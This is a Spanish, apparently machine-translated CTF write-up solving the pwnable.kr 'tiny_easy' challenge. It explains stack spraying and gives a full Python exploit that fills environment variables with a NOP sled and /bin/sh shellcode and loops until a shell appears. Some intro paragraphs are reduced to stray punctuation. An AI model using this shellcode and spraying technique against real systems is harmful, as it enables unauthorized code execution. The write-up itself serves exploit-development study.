Resolución de problemas con pwnable.kr 27 - tiny_easy. Entendiendo la pulverización de pilas

imagen

En este artículo, resolveremos la 27a tarea del sitio pwnable.kr y entenderemos qué es la pulverización de pila.

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Solución al trabajo tiny_easy


Haga clic en el icono de la firma tyni_easy. Nos dan la dirección y el puerto para conectarnos a través de ssh.

imagen

Estamos conectados a través de SSH y ya vemos la bandera y el programa sin el código fuente.

imagen

Como resultado de verificar el archivo, descubrimos que no tiene protección.

imagen

Descargue el programa en el desensamblador. El archivo es muy pequeño y sigue solo unas pocas instrucciones.

imagen

Al principio, el programa extrae el valor de la pila en el registro EAX, después de lo cual extrae otro en EDX y transfiere el control a esta dirección. Pero, ¿qué se encuentra en la pila al comienzo del programa? En la pila en este momento tengo el mismo argumento (la cantidad de argumentos del programa), argumento (un puntero a una matriz de argumentos del programa) y envp (un indicador a una matriz de variables de entorno).

imagen

Por lo tanto, en EDX, la dirección se colocará en el primer elemento de la matriz de argumentos del programa, es decir, en la ruta completa al archivo ejecutable. Por lo tanto, al intentar ejecutarlo como un código, la aplicación debería bloquearse. Si marca, entonces resulta.

imagen

La pulverización de pila es un ataque que utiliza errores en la memoria de la aplicación, lo que obliga a la aplicación a asignar memoria para una gran cantidad de objetos que contienen código malicioso. Esto aumenta la probabilidad de éxito de un exploit, que transfiere el flujo de ejecución a alguna posición dentro. Es importante comprender que sin un exploit que le permita cambiar el flujo de ejecución, este ataque no hará ningún daño. El ataque se basa en la previsibilidad de la dirección en el espacio de direcciones del proceso.

Al crear un proceso en el sistema operativo, se asigna un espacio de direcciones para sus necesidades, en el que se ubican los datos del usuario, el código ejecutable y alguna información del sistema, que depende del sistema operativo específico. Entonces, en el segmento de pila, se almacenan variables con una clase de ubicación automática, así como información que se almacena cada vez que se llama a la función, por ejemplo, variables estáticas y la dirección de retorno cuando se llama a la función. En el caso de la pulverización de pila, operamos con variables de entorno en las que se encuentra el exploit.

De esta forma podemos organizar el código de shell en las variables de entorno en la pila. Pero haremos muchas operaciones nop frente a él, ya que es poco probable que podamos llegar a la dirección correcta exactamente.

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


Como el programa comienza desde la dirección 0xff ******, tomamos la dirección aleatoria para la pila de este entorno, por ejemplo, 0xffbbbbbbb.
addr = "\xb0\xaf\xb5\xff"


Ahora haremos algunas variables de entorno con nuestro shellcode, de modo que la probabilidad de obtenerla sea mayor.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

Y varias veces ejecutamos el programa con nuestros parámetros.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

Después de ejecutar el código completo, obtenemos un shell.

imagen

Más información ... Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

Source: https://habr.com/ru/post/undefined/


All Articles